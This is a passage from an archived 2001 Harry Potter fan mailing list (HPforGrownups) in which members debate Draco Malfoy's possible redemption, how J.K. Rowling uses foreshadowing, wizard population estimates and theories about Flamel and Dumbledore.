have come up with depend on events that haven't yet occurred,
mostly on the order of Draco entering into a new relationship
with an existing character (e.g. making friends with Harry,
falling in love with Hermione or Ginny); in other words, they
can't currently be classified as anything but wishful thinking. 
Up till now JKR has laid no foundations for any of them.  (This
is not to say she mightn't in future books -- we have three
volumes to go, after all.)

It's all very well to compare Draco to Snape, but in fact we know
a heckuva lot more about Draco's background than we do about
Snape's.  That's easy because we know practically zippo about
Snape's before he came to Hogwarts.  About all we have is Sirius'
remark about him knowing lots of curses.  But is Snape
Muggle-born, half-blood, or pureblood?  From a well-off family or
a poor one?  Does he (or did he) have surviving parents?  How
about siblings?  Who brought him up?  We can make guesses about
some of these, but JKR gives us no hard information.  In Snape's
case we're working backwards in our speculations from the =fact=
of his redemption as revealed in Book IV.  In Draco's case the
background is established and we have to work forward from it. 
And so far his background plus his words and actions don't
suggest any "handles" that might pull him over onto the good
guys' side.

I'm not saying it can't be done.  All I'm saying is that if JKR
is planning to do it, she hasn't started work yet.


--Margaret Dean
  <margdean at erols.com>



From meboriqua at aol.com  Sun Sep  2 01:45:51 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sun, 02 Sep 2001 01:45:51 -0000
Subject: Malfoy's Redemption
In-Reply-To: <9mrjtd+sm6i@eGroups.com>
Message-ID: <9ms30f+6p77@eGroups.com>

No: HPFGUIDX 25347

--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:

  Whatever charitable impulses I  might have for a person like Draco, 
as a character in a narrative, JKR has created Draco without any good 
side.  There has been no  foreshadowing of his redemption in the books 
to date.>

I think there has been foreshadowing not necessarily of Draco's 
redemptiom, but of his inability to deal with tough situations.  He 
can't hang with the big boys, IMO.  Running from the Forbidden Forest, 
crying and moaning from a scratch (which he provoked) from Buckbeak, 
and always, ALWAYS running to Daddy are NOT signs of someone who could 
torture Muggles or wear the Dark Mark for all it signifies.  

I just thought of this:  perhaps Draco won't be redeemed and fight by 
Harry's side, but he may not turn to the Dark Side either.  I can see 
him losing his father and becoming bitter and angry, but not wanting 
to turn to Harry's side as a result.  Draco could be neither good nor 
bad; just someone damaged and unhappy.  He could end up being trapped 
in his own mind, his own Dementor.

--jenny from ravenclaw *********************************




From frantyck at yahoo.com  Sun Sep  2 01:56:07 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Sun, 02 Sep 2001 01:56:07 -0000
Subject: Wizard demographics?
Message-ID: <9ms3jn+16ah@eGroups.com>

No: HPFGUIDX 25348

Hullo, all. I was wondering whether anyone anywhere has done a bit of 
calculation wrt wizard demographics -- that is, using the few clues 
Rowling offers to estimate what wizard-world numbers are like. The 
only solid number we seem to have is the number of Hogwarts students 
(1000). A url or reference would be just fine.

Also: any speculation on what a world would be like in which almost 
everyone has attended the same school? (Frankly, argh.)

Lastly: Where would you think wizarding schools would be in your 
country? Obvious Example: the US has roughly five times the 
population of the UK; does that mean five schools? Where would you 
put them?

Woof. From the Werewoof.




From cassandraclaire at mail.com  Sun Sep  2 02:01:03 2001
From: cassandraclaire at mail.com (cassandraclaire at mail.com)
Date: Sun, 02 Sep 2001 02:01:03 -0000
Subject: Malfoy's Redemption
In-Reply-To: <9mrt8d+qtlc@eGroups.com>
Message-ID: <9ms3sv+dsev@eGroups.com>

No: HPFGUIDX 25349

--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
> > Perhaps it was just that lack of foreshadowing in Pettigrew's 
case   that prompted the New Yorker criticism."

No, it was a general, overall complaint. *goes to dig up article.* I 
know it also bemoaned the Sirius Black twist, among others. I'm in 
agreement with Cindy on this one.


  I must disagree with you 
> about foreshadowing in general.  It is just this foreshadowing that 
> makes the better mystery stories work as well as they do, it is 
this 
> foreshadowing that allows the reader to see that, if he or she had 
> been perceptive enough, they would have realized what was really
> meant by the earlier passages, and that the author didn't pull a 
> surprise out of her ear, the old "deus ex machina." "

*Blinks.* We may be arguing at cross-purposes here. I am *pro* 
foreshadowing in general. I do think JKR doesn't always use 
particularly heavy foreshadowing and I don't see the fact of her not 
having telegraphed any future possibility of Draco's redemption as 
ruling it out entirely. I'd rule out pretty entirely an eventual 
Voldemort redemption, sure. But I wouldn't rule out a Wormtail 
redemption, and here's someone who has done much worse things than 
Draco ever has. Maybe I'm just sunnily optimistic, but, like Rita, I 
believe in the improveability of human beings and I simply cannot see 
that even though Draco is a rotten, evil little scumbag right now 
this dooms him to therefore be one forever regardless of even the 
most extreme of circumstances.


 "Draco may yet turn out to be good, but if JKR writes this 
> without having laid a proper foundation, it will be a tired old 
> rabbit-out-of-a-hat-magic-trick, and not the real magic we all know 
> she can write.

Agreed, but she has three more books in which to lay that foundation 
should she so choose. I do not think anyone on this list is arguing 
that Draco is currently a pleasant guy, nor that all he needs is the 
love of a good woman. So far everyone has said that were Draco to be 
redeemed, it wouild require some kind of sea-change in his life: a 
dreadful loss, a terrible betrayal. This, I think, is what we regard 
as a proper foundation.

 And I agree with what Pippin said earlier re: Snape; I can't see a 
Draco redemption as somehow being greater than Snape's redemption. 
Snape was a Death Eater and as Pippin pointed out this doubtless 
required a great deal more in the way of proving oneself to the Dark 
Side than trying to get a hippogriff executed and one's fellow 
students expelled.

Cassandra




From too_much_coffee_lady at yahoo.com  Sun Sep  2 02:22:33 2001
From: too_much_coffee_lady at yahoo.com (Tammy Z)
Date: Sat, 1 Sep 2001 19:22:33 -0700 (PDT)
Subject: [HPforGrownups] Kiddiefic reply, Moaning Myrtle
In-Reply-To: <00a501c13303$f79c0400$0693aecb@price>
Message-ID: <20010902022233.42096.qmail@web13805.mail.yahoo.com>

No: HPFGUIDX 25350

As a teacher of writing and reading to elementary
children I appreciate the quality of writing JKR shows
in her novels.  Especially for upper elem. sometimes
the novels are not composed of ideal writing.  I tend
to use literature for writing models and to see
sentences begun with "And" and "But" is sickening.

As someone who read 2,3 and 4 in less than 5 days I
would say they are by no means just children's
literature.

I also totally agree that not all adults would
understand every piece of work they read either. 
There are many levels of understanding to great pieces
of writing.  I can't wait to read them all again to
see what I've missed.  Plus it gives me something to
do until Book 5 comes out!

Tammy

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From too_much_coffee_lady at yahoo.com  Sun Sep  2 02:26:43 2001
From: too_much_coffee_lady at yahoo.com (Tammy Z)
Date: Sat, 1 Sep 2001 19:26:43 -0700 (PDT)
Subject: [HPforGrownups] Re: Favourite Quotes and/or Scenes...
In-Reply-To: <9mqr1c+bdks@eGroups.com>
Message-ID: <20010902022643.42379.qmail@web13805.mail.yahoo.com>

No: HPFGUIDX 25351

Cindy says:
> In GoF, Moody turns Draco into "the amazing bouncing
> ferret."  
> 
> Aside from being amusing, I think Crouch/Moody
> transfigures Draco 
> because Crouch/Moody had no idea about this rule
> because he never had 
> a talk with Dumbledore about the rules.  The real
> Moody did.  So JKR 
> uses this scene to get us to like Moody, but it is
> also a subtle clue 
> that Moody isn't who we think he is.  


Good point, didn't think about that.  I also like the
way Herimone refers to Moody behind Draco at Hagrids
and freaks him out a little to spook him.  A well
deserved flutter of his nerves!
> 
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From mindyatime at juno.com  Sun Sep  2 03:01:19 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Sat, 1 Sep 2001 23:01:19 -0400
Subject: Observation(s) on CoS
Message-ID: <20010901.230129.-377603.1.mindyatime@juno.com>

No: HPFGUIDX 25352

Hey guys and gals. I am 21 digests behind schedule, so I have some
serious reading for tonight! However, I reared CoS over Shabbos
(Saturday) and I have a coupl'a minor observations to make.

Firstly, I am puzzled over why many of you say that you liked CoS least
of all books. I happen to have liked it. GoF has the worst ending of all;
it ends in a very depressing way, while CoS has a jubilant ending. PoA is
full of scary dementors and I dont like it. So I do like CoS. 

However, the entire premise of CoS is the most unrealistic one. Voldemort
meeting up with Quirrel and attaching himself to him, you can understand.
Sirius Black escaping, makes sense. The whole Triwizard Fiasco, while a
bit wild, can be possible. But CoS deals with a really unrealistic
premise; even magically, it's highly unlikely. Tom Riddle is just a
memory, a phantom. I mean, what would have happened had he managed to
kill Ginny and Harry? Would the 50-year-younger Tom Riddle have morphed
then into Voldemort? Or would he have clambered up the pipe and resumed
the old Tom Riddle form? Him communicating with Ginny and Harry via the
diary almost sounded like emailing to me! The whole plot, while
excellently developed, is too skeptical, even in magical Hogwarts,
because the whole thing is fantasy.

I did catch another timeline problem in CoS. When Ginny tried to tell
Harry about the diary and Percy cut him off, Percy was afraid Ginny would
tell them about him kissing Penelope Clearwater. However, Penelope had
been petrified for months! She had been the first person to be attacked
by the basilisk -- and Ginny herself -- back in January! This is June --
surely that was not still on Percy's mind. "She walked in on me the
*other day*" -- sorry, it was 5 months earlier, surely that was not what
Ginny wanted to tell Harry?

anyway, gotta go read the 21 digests!

Robyn, where are you? Did you get overwhelmed with digests too?

MINDY
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From jkusalavagemd at yahoo.com  Sun Sep  2 03:14:52 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Sun, 02 Sep 2001 03:14:52 -0000
Subject: Malfoy's Redemption
In-Reply-To: <9ms3sv+dsev@eGroups.com>
Message-ID: <9ms87c+h2t1@eGroups.com>

No: HPFGUIDX 25353

--- In HPforGrownups at y..., cassandraclaire at m... wrote:
> --- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:

> 
>   I must disagree with you 
> > about foreshadowing in general.  It is just this foreshadowing 
that 
> > makes the better mystery stories work as well as they do, it is 
> this 
> > foreshadowing that allows the reader to see that, if he or she had 
> > been perceptive enough, they would have realized what was really
> > meant by the earlier passages, and that the author didn't pull a 
> > surprise out of her ear, the old "deus ex machina." "
> 
> *Blinks.* We may be arguing at cross-purposes here. I am *pro* 
> foreshadowing in general. I do think JKR doesn't always use 
> particularly heavy foreshadowing and I don't see the fact of her not 
> having telegraphed any future possibility of Draco's redemption as 
> ruling it out entirely. I'd rule out pretty entirely an eventual 
> Voldemort redemption, sure. But I wouldn't rule out a Wormtail 
> redemption, and here's someone who has done much worse things than 
> Draco ever has. Maybe I'm just sunnily optimistic, but, like Rita, I 
> believe in the improveability of human beings and I simply cannot 
see 
> that even though Draco is a rotten, evil little scumbag right now 
> this dooms him to therefore be one forever regardless of even the 
> most extreme of circumstances.

We probably are doing just as you say.  Neither your nor my opinion re 
the prefectability of man-- or of Draco-- is relevant to whether there 
is any indication of a possible redemption yet written by JKR.


>  "Draco may yet turn out to be good, but if JKR writes this 
> > without having laid a proper foundation, it will be a tired old 
> > rabbit-out-of-a-hat-magic-trick, and not the real magic we all 
know 
> > she can write.
> 
> Agreed, but she has three more books in which to lay that foundation 
> should she so choose. I do not think anyone on this list is arguing 
> that Draco is currently a pleasant guy, nor that all he needs is the 
> love of a good woman. So far everyone has said that were Draco to be 
> redeemed, it wouild require some kind of sea-change in his life: a 
> dreadful loss, a terrible betrayal. This, I think, is what we regard 
> as a proper foundation.

Which foundation has not yet been written.  This is precisely my 
point.  We can return to this issue if JKR writes anything of the 
sort.

 
>  And I agree with what Pippin said earlier re: Snape; I can't see a 
> Draco redemption as somehow being greater than Snape's redemption. 
> Snape was a Death Eater and as Pippin pointed out this doubtless 
> required a great deal more in the way of proving oneself to the Dark 
> Side than trying to get a hippogriff executed and one's fellow 
> students expelled.
 
I am not arguing at all that Snape's redemption would or would not be 
of greater magnitude that that of Draco, should it occur, only that 
JKR has written in such fashion about Snape and I can find no current 
similar writing about Draco.  

We may wish the same end for Draco, Cassandra.  I hope you have better 
luck with predictions than your namesake.

Until Book Seven (I am sure that this will not be resolved until 
then), you and I and all of us happy HP fanatics can only speculate.

Haggridd








From justconnect at yahoo.com  Sun Sep  2 03:56:34 2001
From: justconnect at yahoo.com (justconnect at yahoo.com)
Date: Sun, 02 Sep 2001 03:56:34 -0000
Subject: Nicolas Flamel (again)
In-Reply-To: <9if1mo+o7ra@eGroups.com>
Message-ID: <9msali+h9lc@eGroups.com>

No: HPFGUIDX 25354

--- In HPforGrownups at y..., dorband at u... wrote:
> Neil writes:
> 
> > I've had another thought, one that may have been raised before:  
Can 
> we be sure that Nicolas Flamel was a wizard?  If he was just a 
Muggle 
> alchemist who worked with Dumbledore that might explain the fact 
that 
> Dumbledore has the reputation as the greatest wizard of modern 
times 
> and that Flamel sat on his hands while Dumbledore tackled 
Grindelwald. 
>  It would also explain why
> > Harry and the others could not find Flamel in any of the books on 
> wizardry in recent history; they assumed this was because he was 
600+ 
> years old, but it *may* have been because he wasn't a wizard.  
> Hermione finds a reference to the alchemist in a dusty old book, 
but 
> we know that alchemists existed in the Muggle world.  Perhaps the 
book 
> failed to note that he was a Muggle?
> > 
> > Am I going astray here?
> > **
> 
> 
> Neil,
> 
> Gosh, that's a great idea!  That *would* explain many things about 
> Flamel's apparent lack of concern with the wizarding world and the 
> wizarding world's apparent lack of sentiment for Flamel.  I like 
that 
> one alot.
> 
> In a similar vein...
> 
> Glenda and Danny Millgate wrote:
> OK, so I'm going to take this Dumbledore/Phoenix thing and put it 
> togehter with Flamel to really stretch. Actually I could well be 
> taking this into the realms of fanfic plot.
> 
>    Quick run down in case there is one person left who doesnt get 
the 
> life cycle of the phoenix...in standard mythology, a phoenix is 
born, 
> grows old, and instead of dying, spontaneously combusts (more or 
> less), and then is reborn from the ashes. In a sense 
immortal.       
>                      
>                  Lets say that Dumbledore is an Animagus, and he's 
a 
> phoenix. What if he is able to harness the power of the phoenix, 
and 
> as he gets very old in his human form, he transforms into an 
animagus 
> and goes through the transformation of the phoenix...and hence is 
> reborn young, but with his powers and knowledge intact?
>                  That would mean he could have been doing all sorts 
of 
> things for years. Of course, the hole in this story is that I guess 
> the wizarding world might have noticed if he suddenly turned up a 
> couple of hundred years younger...but I just really liked the idea. 
> Gives him lots of extra time to muck around with Flamel...anyone 
want 
> to bend this to fit? 
>                  Glenda
> 
> This dovetails nicely with the question of What alchemy project 
could 
> Dumbledore assist Flamel with since Flamel already possessed the 
Stone 
> for 400 years before Dumbledore.  As Neil points out above, if 
Flamel 
> were a muggle, perhaps he recognized that a wizard (Dumbledore) 
would 
> see things with a different "eye" - a magical eye.  Dumbledore 
> "improved" the Stone by adding the element of perpetual rebirth - 
to 
> avoid what Margaret Dean, in a related post, calls "stasis."  Her 
> relevant point:
> 
> 
> "Perhaps this tells us something about the practical effects of
> immortality?  At least of the type available by the use of the
> Philosopher's Stone.  What if it creates a kind of stasis . . .
> you don't grow old, but you don't "grow" in any other way,
> either?  Perhaps Flamel isn't cited along with Dumbledore for the
> achievements in Alchemy because they weren't his.  He may have
> provided Dumbledore with the background from his own researches,
> but Dumbledore was the one who had to forge ahead and come up
> with =new= ways to use this lore, because Flamel was incapable of
> new discoveries.
> Thoughts?
> --Margaret Dean"
> 
> Yes Margaret, I have thoughts.  The "stasis" that sets in during an 
> immortal lifetime (I'm thinking more of the physical wear-and-tear 
on 
> a physical body over an extended period of time - like forever) 
could 
> not be overcome by Flamel because he is a muggle and this is simply 
> the best that can be done - hey, no one else is immortal, so he did 
a 
> pretty darn good job.  But along comes Dumbledore to put a wizard's 
> twist on immortality - and avoid the problems of stasis.  Glenda 
hits 
> the nail on the head: "...he is able to harness the power of the 
> phoenix, and as he gets very old in his human form, he transforms 
into 
> an animagus and goes through the transformation of the 
phoenix...and 
> hence is reborn young, but with his powers and knowledge intact[.]"
> 
> This is what cements the relationship between Dumbledore and 
Flamel.  
> It also explains why Dumbledore seems to be "the better" of the 
two. I 
> like this whole scenario.
> 
> Neil, Margaret, Glenda and others, thanks for your wild and crazy 
> thoughts.  I love this stuff...
> 
> 
>  I need to think about this alot more (but right now I *really* 
have 
> to get some work done here at work <G>)
> 
> 
> Brian


+++++++++++++++++++++++++++++++++++++

Since this is resurrecting such an old thread (from July), I copied 
both the original post and the key follow-up.

After reading them with great interest and some care, a thought 
crossed my mind -- a thought that is especially intriguing in terms 
of the title "Order of the Phoenix"

So -- if James (and Lily) both died of a clean curse, yet their house 
was found in ruins, could one (or both) have "been consumed" like a 
Phoenix, and come back as an infant child -- i.e. Harry?

(a late night Saturday conjecture, for sure.)

Justconnect

+++++++++++++++++++++++++++++++++++++++++




From mindyatime at juno.com  Sun Sep  2 04:07:16 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Sun, 2 Sep 2001 00:07:16 -0400
Subject: Several Comments on the past Week's Digests
Message-ID: <20010902.000728.-377603.4.mindyatime@juno.com>

No: HPFGUIDX 25355

Well, going through 21 digests in one shot has given me a LOT to think
about. I just want to make a few minor comments.

Let me ask you for your opinion, ladies & gents:  If I would today get a
letter, say, from Hogwarts tha my child was a wizard and Hogwarts were
inviting him or her to the school, I would throw it out without a second
glance. I'd never, ever believe that it was genuine. I'd view it as a
prank. What about you?

A comment about Harry's Christmas Presents: How did he always get stuff
from the Dursleys by owl? Did Hedwig travel to the Dursleys with a note
attached to its claw, "Please return me with a gift for Harry?" If I were
Vernon & Petunia I'd probably be laughing my head off and I would
probably also send nothing more than a tissue, toothpick, etc. Why do you
think Hedwig went there in the first place to ask for a gift?

HP4GU's Birthday: Wow! Mazel Tov! It has only been a year? Well, I belong
to this group only since August 8th, which is less than a month, and I
love it! (Although I never get around to reading the digests anymore!)
You are almost 2000 members strong -- keep going!

By the way, another comment on the entire series in general: Halloween,
witches, wizards, spells, etc., in the usual fantasy literature, are
usually made out to be evil characters. Think of the Wicked Witch of the
West, think of all the haunted houses and stuff that are usually
associated with Halloween, and they are supposed to be evil and 
terrible. Instead, the HP series, while there is understandably the Dark
Arts/Knockturn Alley element, is an adorable focus on the good magic of
the world. I like that.

Two down, only nineteen digests left... Let me read on...

Here is a technical question on the digests themselves, rather than the
content. I've noticed that many of you have a 'signature line' with a
couple of lines quoted from a particular book. Are those lines supposed
to represent your favorite phrases, or are they an indication of your
personality? I've never created my own signature because I don't know
what that signature is supposed to signify.

A question about wands: It seems that a wand is the most important
possession of any wizard/witch. But IMO, something as small as a
foot-long stick can very easily get lost -- in transit, in an accident,
or just misplaced around the house. What happens then? Does every
witch/wizard receive just one lifetime wand, or can he/she replace it
easily, like Ron when his snapped? Additionally, witches/wizards
obviously must always wear clothes with pockets, or they dont have their
wands with them. So, using the premise that anyone can replace their
wands, can't Hagrid go and buy a new one? I'm sure that Ollivander's is
not the only wand shop anywhere in the world, so Hagrid can ostensibly
fly to another location and get a wand if he may not get one in the UK.
Similarly, Pettigrew can try to get a wand in a different shop somewhere
in the world, for Voldemort.

I have seventeen digests left -- so far I have only gone through three.
So let me send this off first, before this becomes outdated too. If I
actually manage to read through the next seventeen tonight, that will be
a miracle.

MINDY
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From catlady at wicca.net  Sun Sep  2 04:22:25 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sun, 02 Sep 2001 04:22:25 -0000
Subject: Kiddy Lit. RE: Wizard Demographics
Message-ID: <9msc61+rv21@eGroups.com>

No: HPFGUIDX 25356

Tammy Z (Sister of Amy Z?) wrote:

> I tend to use literature for writing models and to see
> sentences begun with "And" and "But" is sickening.

I protest! I start sentences with "And" and "But" deliberately on 
purpose -- and I use redundancies like 'deliberately on purpose' to 
indicate that my use of AND to begin a sentence resulted from long 
DELIBERATION over the best way to make words serve my PURPOSE of 
conveying a particular meaning, including the associated emotions. 
In general, I feel about grammar snobs the way that Malfoys feel 
about poor but obese Mudbloods.

Frantyck Werewoof wrote:

> I was wondering whether anyone anywhere has done a bit of 
> calculation wrt wizard demographics

I often brood obsessively over how big the wizarding population of 
the island of Britain (and associated isles) must be to be able to 
have all the economy that we have seen: all the shops of Hogsmeade 
and Diagon Alley, the broomstick manufacturors and the professional 
Quidditch teams, etc.  In my opinion, the wizarding population MUST 
be AT LEAST 15,000 to have all that division of labor, and 20 to 
25,000 seems more plausible. 

If the usual lifespan of wizards is 150 years (Dumbledore's current 
age) then 15,000 divided by 150 is 100 kids born each year time seven 
years at Hogwarts would be a student body of 700. As I believe that 
Dumbledore's unusually powerful magic has made him live unusually 
long even for a wizard, I think 100 is a more likely AVERAGE lifespan 
which would give a student body of 1000, which is the number I had 
decided on before JKR stated it. 

But I consider the island of Britain (and associated isles) to be 
quite separate from the island of Ireland (and associated isles), 
with Ireland having its own Ministry of Magic, own wizarding 
school(s), and so on. The wizard folk cling to old-fashioned ways
like (looking like) steam engines and sailing ships and an economy of 
small independent sole proprietors and artisans, why would they 
change perfectly good wizarding national borders just because of 
Muggle political changes? It makes sense to me that their borders 
would be based either on physical geography (separate islands = 
separate island nations) or VERY OLD history.








From caliburncy at yahoo.com  Sun Sep  2 04:37:53 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 02 Sep 2001 04:37:53 -0000
Subject: Very Little Foreshadowing? (was Re: Malfoy's Redemption)
In-Reply-To: <9mrou7+2cat@eGroups.com>
Message-ID: <9msd31+5qva@eGroups.com>

No: HPFGUIDX 25357

--- In HPforGrownups at y..., cassandraclaire at m... wrote:
<snipping the rest of this message except the relevant quote>
> In fact, I've seen the New Yorker cite 
> the fact that JKR gives her plot twists so very little foreshadowing 
> at all as being a weakness in the series. (I don't agree it's a 
> weakness but I will agree she does it.)

Really?  I think JKR uses a great deal of foreshadowing.  Well, first 
of all, let me specify what I'm talking about.  THIS IS REALLY 
LONG: PLEASE BEAR WITH ME.  IF YOU REALLY CAN'T STAND IT, SKIP TO THE 
END.  I'M JUST TRYING TO BUILD A COMMON FRAME OF REFERENCE.  There are 
three kinds of foreshadowing that spring to mind.  This is all my own 
thoughts--not regurgitation from a creative writing class, so I've 
kind of made up the classifications--but take it for what it's worth.

1) "First-time foreshadowing"

     This is called 'first-time' because you are expected to notice it 
on your first read and understand what it means.  It's purpose is to 
raise a story question that will be answered later.  A story question, 
basically, is a question the reader asks about the future of the 
story, like "What did he mean by that?" or "What kind of role are 
those people going to play?"  This is absolutely essential to good 
pacing, because it's the kind of comments that make you want to keep 
reading to find out what it means.

     This is so prevalent in HP that I have a difficult time coming up 
with the single, ideal example.  At the moment, I'll settle for a bad 
one.  In the beginning of PS/SS, Mr. Dursley sees a cat reading a map. 
 We, the readers, wonder what the cat is doing there and especially 
why he thought he saw it reading a map, which is not normal cat 
behavior.  A story question enters our minds.  Note that we draw no 
concusions until one is given to us, when we learn that the cat is 
Prof. McGonagall transfigured.  We don't make a hasty, incorrect 
assumption like we are supposed to do with second-time foreshadowing. 
 The point is simply to spark our interest and keep us wondering 
what's coming up.

2) "Second-time foreshadowing"

     This is called 'second-time' because you are not supposed to 
notice it on a re-read after you have found out what it signifies.  
You might also call it 'kick-me foreshadowing' because it's the kind 
of foreshadowing that makes you feel like an idiot for not realizing 
it the first time through.  It is so incredibly obvious.  Or so you 
think.  Hindsight is 20/20, after all.  The reason it works is because 
it is misdirected by multiple interpretations.  There is always 
another explanation to make you disregard the real explanation.  This 
alternate explanation must have attention called to it and it must be 
entirely valid.  So you make hasty assumptions (actually the 
characters often make the hasty assumption first, which is part of why 
you go along with it).  Surprise endings DO NOT WORK without 
second-time foreshadowing because otherwise they stretch credibility. 
 It must surprise you at first, but then on second thought it must 
seem inevitible, there was no other way it could be.

     A great example of this in HP is when Snape accuses Harry of 
stealing Boomslang skin in GOF.  Here's the quote:

***

     "Don't lie to me," Snape hissed, his fathomless black eyes boring 
into Harry's.  "Boomslang skin.  Gillyweed.  Both come from my private 
stores, and I know who stole them."
     Harry stared back at Snape, determined not to blink or to look 
guilty.  In truth, he hadn't stolen either of these things from Snape. 
 Hermione had taken the boomslang skin back in their second year--they 
had needed it for the Polyjuice Potion--and while Snape had suspected 
Harry at the time, he had never been able to prove it.  Dobby, of 
course, had stolen the gillyweed.

***

     On first read, we accept Harry's assumption that Snape is 
referring to the incident in their second year when Hermione stole the 
boomslang skin.  But this assumption is false, even though it seems 
reasonably valid at the time, as it must if the literary device is to 
work.  We realize on re-read that Snape was actually referring to a 
more recent incident in which Crouch-as-Moody stole the boomslang skin 
to make Polyjuice Potion.  It is a great bit of second-time 
foreshadowing.

     Another example is in PoA when we are told that Sirius kept 
saying "He's at Hogwarts" while at Azkaban.  When we learn this from 
Fudge he states it very matter-of-factly as though Sirius must be 
after Harry.  We make another hasty assumption, mainly because Fudge 
did.  That's our alternate explanation (assuming you bought it like 
you were supposed to, which I never did).  The real explanation is we 
have no proof of who he was talking about.  It is totally ambiguous.  
With other evidence on second reading, you of course know he is really 
talking about Peter, not Harry.

3) "Author prophecy"

     This is similar to first-time foreshadowing, but not quite the 
same.  It is more direct, in a way, because it gives you an answer 
without the question.  You are TOLD that some particular thing will 
happen, but you don't really understand the circumstances yet.  I call 
it "author prophecy" because the author is telling you what will 
happen later on in very specific terms.  And usually it is done 
without any actual external proof (unlike most first-time 
foreshadowing), as most prophecies are, but if the author is a good 
one the prophecy WILL fulfill itself.  Usually author prophecies take 
a long time to fulfill themselves.  In the case of series, they 
usually span multiple books, unlike first and second-time 
foreshadowing which are generally (but not always) contained in a 
single novel.

     An example of this in HP is when Dumbledore says that Harry will 
someday be glad he spared Pettigrew's life because Pettigrew will feel 
indebted to him.  This is not first-time foreshadowing firstly because 
there is no external proof that this will happen, only Dumbledore's 
word, which is really just his opinion and even he wouldn't claim to 
have proof of his words.  But especially because this doesn't raise a 
story question so much as it gives an answer to a question we didn't 
even think to ask.  I can't prove that this will fulfill itself since 
the series isn't finished yet, but I guarantee you it will.  I'm sorry 
if I'm not making the distinction between this and first-time 
foreshadowing clear, but it's a little bit subtle and I'm not much of 
a teacher sometimes.

IF YOU MADE IT THIS FAR, READING ALL THE WAY, YOUR MEDAL OF HONOR IS 
IN THE MAIL. (*see disclaimer)  IF YOU DECIDED TO SKIP, I FORGIVE YOU. 
 :-)

Anyway, JKR uses lots of first-time foreshadowing, which is where a 
lot of her good pacing comes from.  And she uses a little author 
prophecy, but not much.  I have never seen a book that used much of 
this, nor would it probably work to do so.  So that leaves second-time 
foreshadowing which is, of course, what I imagine you were taking 
about in the first place (partly why I gave two examples for it, since 
it is most important to our discussion--but they may not be the two 
best examples, I almost added more, but stopped myself).  If you look, 
you will find it, because it is certainly there, and in great supply. 
 I'd love to give an exhaustive list, but I don't have the time (even 
if the length of this post seems to indicate the contrary).  It is 
because of all this second-time foreshadowing (and perhaps having too 
much "fiction intuition") that I actually predicted the vast majority 
of the plot-twists in the Harry Potter books.  There are big clues if 
you look for the assumptions and I picked up on many of them the first 
time through, which is actually kind of sad because it's less fun that 
way.  But at least I've rarely guessed everything, for example I 
didn't guess the Scabbers is Peter connection at all.  Though there 
was foreshadowing for that as well with the fingers, among other 
things.

The test of too much or too little second-time foreshadowing is 
credibility.  If you believe it--meaning you are surprised at first, 
but later think it makes sense, then the amount of foreshadowing 
worked.  The Scabbers/Peter thing, would not have worked if we hadn't 
had even the small bits of foreshadowing we got.  But we didn't get 
enough to guess it either.

On the other hand I thought there was too much foreshadowing on some 
things, especially Sirius really being good.  The "He's at Hogwarts" 
thing was SO blatantly obvious (to me at least) as a faulty assumption 
meaning that I never for one second believed Sirius was after Harry.  
That really threw off the effectiveness of the book for me, though I 
dearly love it anyway.  But apparently this fooled others, so maybe it 
really wasn't too much/too obvious.

-Luke

*Disclaimer: True honor is intangible, being born only of heart and 
mind.  And, therefore, so is your medal.  Given the intangible 
contents, an intangible envelope was deemed equally appropriate.





From empress_dai_gin_kali at yahoo.com  Sun Sep  2 04:40:42 2001
From: empress_dai_gin_kali at yahoo.com (Bethany)
Date: Sat, 1 Sep 2001 21:40:42 -0700 (PDT)
Subject: [HPforGrownups] Re: Malfoy's Redemption(a li'l OT)
In-Reply-To: <9ms87c+h2t1@eGroups.com>
Message-ID: <20010902044042.39550.qmail@web11808.mail.yahoo.com>

No: HPFGUIDX 25358


--- Haggridd <jkusalavagemd at yahoo.com> wrote:
>We may wish the same end for Draco, Cassandra.  I
>hope you have better 
>luck with predictions than your namesake.

Actually, Cassandra's prediction's were *always*
right, but it was her curse that they were never
believed. As a member of the Redemption of Draco club,
I certainly hope that her predictions regarding him
prove accurate. Funny how an irritating little brat
like him can grow on you. Hmmmm, maybe it's the
leather pants and green thong of Fandom <vbg>   :)

~Bethany

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From caliburncy at yahoo.com  Sun Sep  2 04:46:37 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 02 Sep 2001 04:46:37 -0000
Subject: TYPO in Very Little Foreshadowing? (was Re: Malfoy's Redemption)
In-Reply-To: <9msd31+5qva@eGroups.com>
Message-ID: <9msdjd+5vna@eGroups.com>

No: HPFGUIDX 25359

I hate to make another post just for a typo in another post but it's 
important to correct so people realize what I meant.

I wrote:

This is called 'second-time' because you are not supposed to notice it 
on a re-read after you have found out what it signifies.

But it is supposed to say (with emphasis):

This is called 'second-time' because you are not supposed to 
TRULY UNDERSTAND IT UNTIL a re-read after you have found out what it 
signifies.

Sorry, guys.

-Luke




From oppen at cnsinternet.com  Sun Sep  2 05:22:29 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Sun, 2 Sep 2001 00:22:29 -0500
Subject: Malfoy's Redemption, Part II
Message-ID: <008101c1336f$43b36020$d2c71bce@hppav>

No: HPFGUIDX 25360

I'm glad that some of you were kind enough to say that you liked my
reasoning about Why (Some) Wizards Distrust Muggles.  However, I must stand
by my earlier statements that nothing Malfoy's done has put him permanently
in the Bad Guy (tm) list.  He's not as brave as Ron, Hermione and
Harry---but, frankly, in the Forbidden Forest, I'd be as spooked as a mage
facing the Witch-Smeller Pursuivant from _The Black Adder_.  He's mean to
Hermione.  _So was just about everybody else, at first!_  I hate to say
it---I yield to nobody on this list or off it in my affection for Hermie,
but she IS the sort of child that a lot of other children can't
stomach---officious about rules, a know-it-all in the classroom, and to add
insult to injury, extremely talented.  A lot of children resent the gifted
among them for their gifts---having to sweat to do something that the other
kid just does without any apparent effort is easy to resent.  On top of
